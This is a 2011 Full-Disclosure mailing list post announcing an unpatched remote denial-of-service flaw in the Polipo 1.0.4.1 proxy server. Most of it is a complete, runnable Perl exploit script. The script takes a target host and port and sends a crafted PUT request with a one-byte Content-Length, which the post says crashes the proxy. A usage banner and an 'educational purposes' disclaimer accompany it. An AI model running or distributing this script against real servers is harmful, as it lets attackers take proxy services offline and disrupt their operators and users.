full-disclosure - Polipo 1.0.4.1 Denial of Service

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Message-ID: <4E8740EA.6090405@xc0re.net>
Date: Sat, 01 Oct 2011 21:33:46 +0500
From: Usman Saeed <usman@...re.net>
To: full-disclosure@...ts.grok.org.uk
Subject: Polipo 1.0.4.1 Denial of Service

# Exploit Title: [POLIPO 1.0.4.1 Denial Of Service]
# Date: [10/05/10]
# Author: [Usman Saeed]
# Software Link:[http://www.pps.jussieu.fr/~jch/software/polipo/]
# Version: [1.0.4.1]
# Tested on: [Windows 7 Home]
# CVE : [if exists]
# Code : [exploit code]



Disclaimer: [This code is for Educational Purposes , I would Not be
responsible for any misuse of this code]

[*] Download Page :http://www.pps.jussieu.fr/~jch/software/polipo/


[*] Attack type : Remote


[*] Patch Status : Unpatched



[*] Description  : By sending a crafted POST/PUT request to the server
,  the proxy server crashes ! 



[*] Exploitation :


#!/usr/bin/perl
# POLIPO 1.0.4.1 Denial Of Service
# Disclaimer:
# [This code is for Educational Purposes , I would Not be responsible
for any misuse of this code]
# Author: Usman Saeed
# Company: Xc0re Security Research Group
# Website: http://www.xc0re.net
# DATE: [30/09/11]

$host = $ARGV[0];
$PORT = $ARGV[1];


$evil = "PUT / HTTP/1.1\r\n".
"Content-Length:1\r\n\r\n";


use IO::Socket::INET;
if (! defined $ARGV[0])
{
print "+========================================================+\n";
print "+ Program [POLIPO 1.0.4.1 Denial Of Service]             +\n";
print "+ Author [Usman Saeed]                                   +\n";
print "+ Company [Xc0re Security Research Group]                +\n";
print "+ DATE: [30/09/11]                                       +\n";
print "+ Usage :perl sploit.pl webserversip wbsvrport           +\n";
print "+ Disclaimer: [This code is for Educational Purposes ,   +\n";
print "+ I would Not be responsible for any misuse of this code]+\n";
print "+========================================================+\n";





exit;
}


$sock = IO::Socket::INET->new( Proto => "tcp",PeerAddr  => $host ,
PeerPort  => $PORT) || die "Cant connect to $host!";
print "+========================================================+\n";
print "+ Program [POLIPO 1.0.4.1 Denial Of Service]             +\n";
print "+ Author [Usman Saeed]                                   +\n";
print "+ Company [Xc0re Security Research Group]                +\n";
print "+ DATE: [30/09/11]                                       +\n";
print "+ Usage :perl sploit.pl webserversip wbsvrport           +\n";
print "+ Disclaimer: [This code is for Educational Purposes ,   +\n";
print "+ I would Not be responsible for any misuse of this code]+\n";
print "+========================================================+\n";





print "\n";

print "[*] Initializing\n";

sleep(2);

print "[*] Sendin evil Packet Buhahahahaha \n";

send ($sock , $evil , 0);
print "[*] Crashed :) \n";
$res = recv($sock,$response,1024,0);
print $response;



exit;





-- 
Usman Saeed
Blog : http://www.xc0re.net/blog
Twitter : http://twitter.com/xc0resecurity
Facebook : https://www.facebook.com/pages/Xc0re-Security-Reseach-Group/168397916536539

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